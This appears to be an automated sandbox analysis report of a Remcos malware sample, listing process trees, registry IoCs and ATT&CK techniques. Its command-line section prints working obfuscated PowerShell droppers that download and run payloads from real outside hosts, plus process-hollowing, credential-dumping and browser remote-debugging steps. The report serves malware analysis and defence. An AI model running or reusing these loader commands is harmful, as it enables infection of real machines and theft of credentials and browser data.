remcos | 0557fb02097645b6ec955298be44333a49f07f61dbcfdce99a78038f1cd4c1d4

pid	Process
3448	msedge.exe
3172	msedge.exe
3792	msedge.exe
2352	Chrome.exe
1732	Chrome.exe
4944	Chrome.exe
4276	Chrome.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 864 set thread context of 2620	864	powershell.exe	102
PID 2620 set thread context of 2508	2620	CasPol.exe	106
PID 2620 set thread context of 1268	2620	CasPol.exe	108
PID 2620 set thread context of 680	2620	CasPol.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pOWeRShelL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3292	pOWeRShelL.exe
3292	pOWeRShelL.exe
2352	powershell.exe
2352	powershell.exe
1664	powershell.exe
1664	powershell.exe
864	powershell.exe
864	powershell.exe
680	CasPol.exe
2508	CasPol.exe
680	CasPol.exe
2508	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2508	CasPol.exe
2508	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2352	Chrome.exe
2352	Chrome.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe
2620	CasPol.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3448	msedge.exe
3448	msedge.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	3292	pOWeRShelL.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	680	CasPol.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe
Token: SeShutdownPrivilege	2352	Chrome.exe
Token: SeCreatePagefilePrivilege	2352	Chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2352	Chrome.exe
3448	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 3292	1692	mshta.exe	84
PID 1692 wrote to memory of 3292	1692	mshta.exe	84
PID 1692 wrote to memory of 3292	1692	mshta.exe	84
PID 3292 wrote to memory of 2352	3292	pOWeRShelL.exe	88
PID 3292 wrote to memory of 2352	3292	pOWeRShelL.exe	88
PID 3292 wrote to memory of 2352	3292	pOWeRShelL.exe	88
PID 3292 wrote to memory of 4536	3292	pOWeRShelL.exe	93
PID 3292 wrote to memory of 4536	3292	pOWeRShelL.exe	93
PID 3292 wrote to memory of 4536	3292	pOWeRShelL.exe	93
PID 4536 wrote to memory of 3000	4536	csc.exe	94
PID 4536 wrote to memory of 3000	4536	csc.exe	94
PID 4536 wrote to memory of 3000	4536	csc.exe	94
PID 3292 wrote to memory of 2432	3292	pOWeRShelL.exe	96
PID 3292 wrote to memory of 2432	3292	pOWeRShelL.exe	96
PID 3292 wrote to memory of 2432	3292	pOWeRShelL.exe	96
PID 2432 wrote to memory of 1664	2432	WScript.exe	97
PID 2432 wrote to memory of 1664	2432	WScript.exe	97
PID 2432 wrote to memory of 1664	2432	WScript.exe	97
PID 1664 wrote to memory of 864	1664	powershell.exe	101
PID 1664 wrote to memory of 864	1664	powershell.exe	101
PID 1664 wrote to memory of 864	1664	powershell.exe	101
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 864 wrote to memory of 2620	864	powershell.exe	102
PID 2620 wrote to memory of 1672	2620	CasPol.exe	104
PID 2620 wrote to memory of 1672	2620	CasPol.exe	104
PID 2620 wrote to memory of 1672	2620	CasPol.exe	104
PID 2620 wrote to memory of 5116	2620	CasPol.exe	105
PID 2620 wrote to memory of 5116	2620	CasPol.exe	105
PID 2620 wrote to memory of 5116	2620	CasPol.exe	105
PID 2620 wrote to memory of 2508	2620	CasPol.exe	106
PID 2620 wrote to memory of 2508	2620	CasPol.exe	106
PID 2620 wrote to memory of 2508	2620	CasPol.exe	106
PID 2620 wrote to memory of 2508	2620	CasPol.exe	106
PID 2620 wrote to memory of 3804	2620	CasPol.exe	107
PID 2620 wrote to memory of 3804	2620	CasPol.exe	107
PID 2620 wrote to memory of 3804	2620	CasPol.exe	107
PID 2620 wrote to memory of 1268	2620	CasPol.exe	108
PID 2620 wrote to memory of 1268	2620	CasPol.exe	108
PID 2620 wrote to memory of 1268	2620	CasPol.exe	108
PID 2620 wrote to memory of 1268	2620	CasPol.exe	108
PID 2620 wrote to memory of 680	2620	CasPol.exe	109
PID 2620 wrote to memory of 680	2620	CasPol.exe	109
PID 2620 wrote to memory of 680	2620	CasPol.exe	109
PID 2620 wrote to memory of 680	2620	CasPol.exe	109
PID 2620 wrote to memory of 2352	2620	CasPol.exe	110
PID 2620 wrote to memory of 2352	2620	CasPol.exe	110
PID 2352 wrote to memory of 4120	2352	Chrome.exe	111
PID 2352 wrote to memory of 4120	2352	Chrome.exe	111
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112
PID 2352 wrote to memory of 4244	2352	Chrome.exe	112

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\0557fb02097645b6ec955298be44333a49f07f61dbcfdce99a78038f1cd4c1d4.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\SysWOW64\wIndOwSpOweRShELl\v1.0\pOWeRShelL.exe
  "C:\Windows\SySTeM32\wIndOwSpOweRShELl\v1.0\pOWeRShelL.exe" "PoWeRShell -Ex BYpAss -nop -W 1 -c DevICecrEdenTiAlDepLOYMEnT.eXE ; InVoKE-ExPrESsion($(iNvoKe-exPReSsION('[SySTEm.TEXT.enCodIng]'+[CHaR]0X3A+[CHAR]0X3a+'UTf8.gETsTring([SystEm.coNvErt]'+[CHaR]58+[CHar]58+'FroMBasE64sTRIng('+[chAR]0X22+'JFFVICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UWXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9uLkRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNreXNEeixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmeUF5YmEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmZIaEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRqYyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPbXF1aGx2bUJJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAid2prT094RWxYIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNd3VyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRRVTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk0LjE3MS4xMzgvMzI5L2NyZWF0ZXRoZWJlc3R0aGluZ3N3aXRoZ29vZHRoaW5nc2Jlc3Rmb3JncmVhdHRoaW5nc2Zvcm1lZXZlbmdvb2QudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZXRoZWJlc3R0aGluZ3N3aXRoZ29vZHRoaW5nc2Jlc3Rmb3JncmVhdHRoaW5nc2Zvcm1lZXZlLnZiUyIsMCwwKTtzdGFSVC1zbGVFcCgzKTtpRXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNyZWF0ZXRoZWJlc3R0aGluZ3N3aXRoZ29vZHRoaW5nc2Jlc3Rmb3JncmVhdHRoaW5nc2Zvcm1lZXZlLnZiUyI='+[chAr]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYpAss -nop -W 1 -c DevICecrEdenTiAlDepLOYMEnT.eXE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\prnywww5\prnywww5.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBBED.tmp" "c:\Users\Admin\AppData\Local\Temp\prnywww5\CSCA7B46D963B12452EB88034B4CF5FB99.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3000
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\createthebestthingswithgoodthingsbestforgreatthingsformeeve.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzSE5pbWFnZVVybCA9IGI0Rmh0dHBzOi8vMTAxJysnNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1JysndyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNycrJzZhMDkwNGYgYjRGO3NITndlYkNsJysnaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7cycrJ0hOaW1hZ2VCeXRlcyA9IHNITndlYkNsaWVudC5Eb3dubG8nKydhZERhdGEoc0hOaW1hZ2VVcmwpO3NITmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ10nKyc6OlVURjguR2V0U3RyaW5nKHNITmltJysnYWdlQnl0ZXMpO3NITnN0YXJ0RmxhZyA9IGI0Rjw8QkFTRTY0X1NUQVJUPj5iNEY7c0hOZW5kRmxhZyA9ICcrJ2I0Rjw8QkFTRTY0X0VORD4+YjRGO3NITnN0YXJ0SW5kZXggPSBzSCcrJ05pbWFnZVRlJysneHQuSW5kZXhPZihzSE5zdGFydEZsYWcpO3NITmVuZEluZCcrJ2V4ID0gc0hOaW1hZ2VUZXh0LkluZGV4T2Yoc0hOZW5kRmxhZyk7c0hOc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNITmVuZEluZGV4IC1ndCBzSE5zdGFydCcrJ0luZGV4O3NITnN0JysnYXJ0SW5kZXggKz0gc0hOc3RhcnRGbGFnJysnLkxlbmd0aDtzSE5iYXNlJysnNjRMZW5ndGggPSBzSE5lbmRJbmRleCAtIHNITnN0YXJ0SW5kZXg7c0hOYmFzZTY0Q29tbWFuZCA9IHNITicrJ2knKydtYWdlVGV4dC5TdWJzdHJpbmcoc0hOc3RhcnRJbmRleCwgc0hOYmFzZTY0TGVuZ3RoKTtzSE5iYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzSE5iYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgczdnIEZvckVhY2gtT2JqZWN0IHsgc0hOXyB9KVstMS4uLShzSE5iYXNlNjRDb21tYW5kLkxlbmd0aCldO3NITmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTJysndHJpbmcoc0hOYmEnKydzZTY0UmV2ZXJzZWQpO3NITmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCcrJyhzSE5jb21tYW5kQnl0ZXMpO3NITnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoYjRGVkFJYjRGKTtzSE52YWlNZXRob2QuSW52bycrJ2tlKHNITm51bGwsIEAoYjRGdHh0LkVEU1NSRi85MjMvODMxLjE3MS40OS4zMi8vOnB0dGhiNEYsIGI0RmRlc2F0aXZhZG9iNEYsIGI0RmRlc2F0aXZhZG9iNCcrJ0YsIGI0RmRlc2F0aXZhZG9iNEYsIGI0RkNhc1BvbCcrJ2I0RiwgYjRGZGVzYXRpdmFkb2I0RiwgYjRGZGVzYXRpdmFkb2InKyc0RixiNEZkZXNhdGl2YWQnKydvYjRGLGI0RmRlc2F0aXZhZG9iNEYsYjRGZGVzYXRpdmFkb2I0RixiNEZkZXNhdGl2YWRvYjRGLGI0RmRlc2F0aXZhZG9iJysnNEYsYjRGMWI0RixiNEZkZXNhdGl2YWRvYjRGKSk7JykuUkVwbGFDZSgnYjRGJyxbc1RySW5nXVtDSGFyXTM5KS5SRXBsYUNlKCdzSE4nLCckJykuUkVwbGFDZSgnczdnJywnfCcpIHwmICggJFBzaG9tZVs0XSskUFNIT21FWzMwXSsnWCcp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1664
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('sHNimageUrl = b4Fhttps://101'+'7.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35'+'w&pk_vid=fd4f614bb209c62c173094517'+'6a0904f b4F;sHNwebCl'+'ient = New-Object System.Net.WebClient;s'+'HNimageBytes = sHNwebClient.Downlo'+'adData(sHNimageUrl);sHNimageText = [System.Text.Encoding]'+'::UTF8.GetString(sHNim'+'ageBytes);sHNstartFlag = b4F<<BASE64_START>>b4F;sHNendFlag = '+'b4F<<BASE64_END>>b4F;sHNstartIndex = sH'+'NimageTe'+'xt.IndexOf(sHNstartFlag);sHNendInd'+'ex = sHNimageText.IndexOf(sHNendFlag);sHNstartIndex -ge 0 -and sHNendIndex -gt sHNstart'+'Index;sHNst'+'artIndex += sHNstartFlag'+'.Length;sHNbase'+'64Length = sHNendIndex - sHNstartIndex;sHNbase64Command = sHN'+'i'+'mageText.Substring(sHNstartIndex, sHNbase64Length);sHNbase64Reversed = -join (sHNbase64Command.ToCharArray() s7g ForEach-Object { sHN_ })[-1..-(sHNbase64Command.Length)];sHNcommandBytes = [System.Convert]::FromBase64S'+'tring(sHNba'+'se64Reversed);sHNloadedAssembly = [System.Reflection.Assembly]::Load'+'(sHNcommandBytes);sHNvaiMethod = [dnlib.IO.Home].GetMethod(b4FVAIb4F);sHNvaiMethod.Invo'+'ke(sHNnull, @(b4Ftxt.EDSSRF/923/831.171.49.32//:ptthb4F, b4Fdesativadob4F, b4Fdesativadob4'+'F, b4Fdesativadob4F, b4FCasPol'+'b4F, b4Fdesativadob4F, b4Fdesativadob'+'4F,b4Fdesativad'+'ob4F,b4Fdesativadob4F,b4Fdesativadob4F,b4Fdesativadob4F,b4Fdesativadob'+'4F,b4F1b4F,b4Fdesativadob4F));').REplaCe('b4F',[sTrIng][CHar]39).REplaCe('sHN','$').REplaCe('s7g','|') |& ( $Pshome[4]+$PSHOmE[30]+'X')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:864
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2620
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngoopcshiqgcvhmshstl"
        7⤵
        
        PID:1672
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngoopcshiqgcvhmshstl"
        7⤵
        
        PID:5116
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngoopcshiqgcvhmshstl"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2508
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\patgqncawyyhyniwyugnielh"
        7⤵
        
        PID:3804
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\patgqncawyyhyniwyugnielh"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1268
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\aczzrfnckgquitwahftotrfyhlt"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:680
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2352
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff88788cc40,0x7ff88788cc4c,0x7ff88788cc58
        8⤵
        
        PID:4120
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2032,i,17433166556259550762,16457589041725732065,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2020 /prefetch:2
        8⤵
        
        PID:4244
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1852,i,17433166556259550762,16457589041725732065,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2072 /prefetch:3
        8⤵
        
        PID:60
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2232,i,17433166556259550762,16457589041725732065,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2228 /prefetch:8
        8⤵
        
        PID:924
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3172,i,17433166556259550762,16457589041725732065,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3200 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4944
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,17433166556259550762,16457589041725732065,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3232 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:1732
        
        C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4640,i,17433166556259550762,16457589041725732065,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4596 /prefetch:1
        8⤵
